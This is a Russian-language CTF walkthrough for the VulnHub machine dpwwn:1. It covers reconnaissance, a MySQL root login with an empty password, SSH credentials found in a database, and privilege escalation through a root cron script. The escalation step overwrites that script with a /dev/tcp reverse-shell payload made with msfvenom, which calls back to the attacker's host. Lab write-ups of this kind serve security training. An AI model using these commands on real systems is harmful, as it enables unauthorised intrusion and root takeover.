Здравствуйте, дорогие друзья.
Сегодня я собираюсь пройти CTF-челлендж «dpwwn:1» с сервиса VulnHub. Заслуга в создании этой виртуальной машины принадлежит «Debashish Pal», и это задача boot2root, в которой мы должны получить root права на машину и захватить флаг, чтобы выполнить задачу. Вы можете скачать эту виртуальную машину, перейдя по ссылке: https://www.vulnhub.com/entry/dpwwn-1,342/.
Уровень безопасности: Новичок
Начнем с выявления IP-адреса атакуемой машины. Это делается, с помощью утилиты «Netdiscover»:
Команда в терминале: netdiscover
IP-адрес нашего хоста — это 10.0.2.4.
Далее, как обычно, я использовал инструмент Nmap для перечисления портов. Я обнаружил, что открыты порты 22, 80 и 3306.
Команда: sudo nmap -A 10.0.2.4
Как мы видим, служба mysql работает на порте (3306), и я попытал удачу, чтобы получить доступ к серверу mysql с пользователем root и пустым паролем, и, к моему удивлению, я смог войти в систему. Как только я вошел в систему, я получил имена баз данных, и там увидел базу данных ssh.
Я проверил ее таблицы и нашел учетные данные одного пользователя mistic:testP@$$swordmistic
Команды, которые я использовал:
mysql –h 10.0.2.4 –u root –p
show databases;
use ssh;
show tables;
select * from users;
Эксплуатация:
Далее, я смог подключиться к целевой системе по ssh, используя найденные учетные данные (смотрите скриншот выше).
После входа в систему я обнаружил файл с именем logrot.sh. Я заглянул внутрь файла, и это bash-скрипт, который собирает логи. А в crontab этот же файл запланирован на выполнение с root-правами.
Команды, которые я использовал:
ssh mistic@192.168.1.101
ls –la
cat logrot.sh
cat /etc/crontab
Обратите внимание на вывод скрипта «logrot.sh». Это уже сгенерированная полезная нагрузка, с помощью msfvenom. У Вас же будет выводиться небольшой bash-скрипт.
Итак, что я сделал далее. Создал обратную полезную нагрузку netcat, используя msfvenom с IP-адресом слушателя в качестве нашей машины на kali и указал порт 1234.
Команда: sudo msfvenom –p cmd/unix/reverse_bash lhost=10.0.2.15lport=1234 R
Затем я скопировал ту же полезную нагрузку в двоичный файл logrot.sh, с помощью команды echo.
Команда: echo „0<&87-;exec 87<>/dev/tcp/10.0.2.15/1234;sh <&87 >&87 2>&87“ > logrot.sh
Повышение привилегий:
Поскольку logrot.sh запланирован в crontab с привилегиями root, я одновременно запустил прослушиватель netcat на моей машине kali и дождался обратного шелла. И через некоторое время я получил root shell и в итоге флаг root.
nc –lvp 1234
cd /root
ls
cat dpwwn-01—FLAG.txt
На этом все. Всем хорошего дня!